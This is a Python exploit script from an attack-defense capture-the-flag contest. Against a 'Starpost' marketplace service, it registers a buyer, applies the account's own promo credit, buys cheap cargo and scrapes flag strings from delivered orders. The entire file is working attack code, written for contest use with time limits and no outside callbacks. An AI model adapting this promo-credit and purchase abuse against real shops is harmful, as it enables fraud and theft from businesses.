254 lines
8.9 KiB
Python
Executable File
254 lines
8.9 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
|
|
|
|
Neo passes one target address. Only event-format flags are written to stdout.
|
|
This script uses public registration and the buyer's own promo; it needs no
|
|
service secret, warehouse token, or Skipper credential.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import re
|
|
import secrets
|
|
import signal
|
|
import sys
|
|
import time
|
|
from http.cookies import SimpleCookie
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
|
|
|
|
|
SERVICE_PORT = 8090
|
|
RUN_TIMEOUT = 8.5
|
|
REQUEST_TIMEOUT = 1.2
|
|
MAX_RESPONSE = 512 * 1024
|
|
MAX_BUYS = 2
|
|
MAX_BUY_ATTEMPTS = 3
|
|
MAX_ORDER_POLLS = 5
|
|
POLL_INTERVAL = 0.3
|
|
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
# In particular, do not follow a redirect to an unrelated host or use a
|
|
# workstation HTTP proxy instead of the contest VPN route.
|
|
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
|
|
|
|
|
def build_target(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected HTTP(S) target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must contain only a host and optional port")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not contain query or fragment")
|
|
port = parsed.port or SERVICE_PORT
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError("invalid target port")
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request_json(
|
|
target: str,
|
|
path: str,
|
|
deadline: float,
|
|
*,
|
|
method: str = "GET",
|
|
payload: dict | None = None,
|
|
cookie: str | None = None,
|
|
) -> tuple[int, object, str | None]:
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError("run deadline exceeded")
|
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie is not None:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
req = Request(target + path, data=body, headers=headers, method=method)
|
|
try:
|
|
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
|
|
except HTTPError as exc:
|
|
response = exc
|
|
with response:
|
|
raw = response.read(MAX_RESPONSE + 1)
|
|
if len(raw) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
cookies = SimpleCookie()
|
|
for header in response.headers.get_all("Set-Cookie", []):
|
|
cookies.load(header)
|
|
session = cookies["session"].value if "session" in cookies else None
|
|
try:
|
|
data = json.loads(raw)
|
|
except (UnicodeDecodeError, json.JSONDecodeError):
|
|
raise ValueError("invalid JSON response") from None
|
|
return response.status, data, session
|
|
|
|
|
|
def scan_flags(value: object) -> set[str]:
|
|
# Only a delivered order's cargo is read here; avoid printing whole JSON.
|
|
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
|
|
|
|
|
def candidates(products: object) -> list[tuple[int, int]]:
|
|
if not isinstance(products, list):
|
|
raise ValueError("products response is not a list")
|
|
found = []
|
|
seen = set()
|
|
for product in products:
|
|
if not isinstance(product, dict):
|
|
continue
|
|
product_id, price = product.get("id"), product.get("price")
|
|
if (
|
|
isinstance(product_id, int)
|
|
and not isinstance(product_id, bool)
|
|
and product_id > 0
|
|
and isinstance(price, int)
|
|
and not isinstance(price, bool)
|
|
and 0 < price <= 200
|
|
and product_id not in seen
|
|
):
|
|
found.append((product_id, price))
|
|
seen.add(product_id)
|
|
return found
|
|
|
|
|
|
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|
target = build_target(raw_target)
|
|
deadline = time.monotonic() + RUN_TIMEOUT
|
|
|
|
status, products, _ = request_json(target, "/api/products", deadline)
|
|
if status != 200:
|
|
raise ValueError(f"catalog returned HTTP {status}")
|
|
available = candidates(products)
|
|
if not available:
|
|
return [], 0, 0
|
|
|
|
marker = secrets.token_hex(8)
|
|
status, _, cookie = request_json(
|
|
target,
|
|
"/api/register",
|
|
deadline,
|
|
method="POST",
|
|
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
|
)
|
|
if status != 201 or not cookie:
|
|
raise ValueError(f"buyer registration returned HTTP {status}")
|
|
|
|
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
|
if status != 200 or not isinstance(account, dict):
|
|
raise ValueError(f"account returned HTTP {status}")
|
|
promo = account.get("promo")
|
|
user = account.get("user")
|
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
|
raise ValueError("buyer promo missing")
|
|
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
|
raise ValueError("buyer balance missing")
|
|
budget = user["balance"]
|
|
|
|
status, credit, _ = request_json(
|
|
target,
|
|
"/api/promo/credit",
|
|
deadline,
|
|
method="POST",
|
|
payload={"code": promo["code"]},
|
|
cookie=cookie,
|
|
)
|
|
if status != 200 or not isinstance(credit, dict):
|
|
raise ValueError(f"promo credit returned HTTP {status}")
|
|
credited = credit.get("credited")
|
|
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
|
raise ValueError("invalid credited amount")
|
|
budget += credited
|
|
|
|
bought_ids: set[int] = set()
|
|
buy_attempts = 0
|
|
for product_id, price in available:
|
|
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
|
|
break
|
|
if price > budget:
|
|
continue
|
|
buy_attempts += 1
|
|
status, order, _ = request_json(
|
|
target,
|
|
f"/api/products/{product_id}/buy",
|
|
deadline,
|
|
method="POST",
|
|
payload={},
|
|
cookie=cookie,
|
|
)
|
|
if status != 201 or not isinstance(order, dict):
|
|
continue
|
|
order_id = order.get("id")
|
|
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
|
|
bought_ids.add(order_id)
|
|
budget -= price
|
|
|
|
flags: set[str] = set()
|
|
polls = 0
|
|
for poll in range(MAX_ORDER_POLLS):
|
|
if not bought_ids or time.monotonic() >= deadline:
|
|
break
|
|
if poll:
|
|
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
|
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
|
polls += 1
|
|
if status != 200 or not isinstance(orders, list):
|
|
break
|
|
delivered = set()
|
|
for order in orders:
|
|
if not isinstance(order, dict):
|
|
continue
|
|
order_id = order.get("id")
|
|
if not isinstance(order_id, int) or order_id not in bought_ids:
|
|
continue
|
|
if order.get("status") == "delivered":
|
|
delivered.add(order_id)
|
|
flags.update(scan_flags(order.get("cargo")))
|
|
if delivered == bought_ids:
|
|
break
|
|
return sorted(flags), len(bought_ids), polls
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
def hard_timeout(_signum, _frame):
|
|
raise TimeoutError("run deadline exceeded")
|
|
|
|
# A slow-drip HTTP response can keep an individual socket read alive past
|
|
# its timeout. Neo runs this as a Linux child process; bound the whole run.
|
|
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
|
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
|
try:
|
|
flags, bought, polls = run_exploit(sys.argv[1])
|
|
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
finally:
|
|
signal.setitimer(signal.ITIMER_REAL, 0)
|
|
signal.signal(signal.SIGALRM, previous_handler)
|
|
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
|
|
if flags:
|
|
print("\n".join(flags), flush=True)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|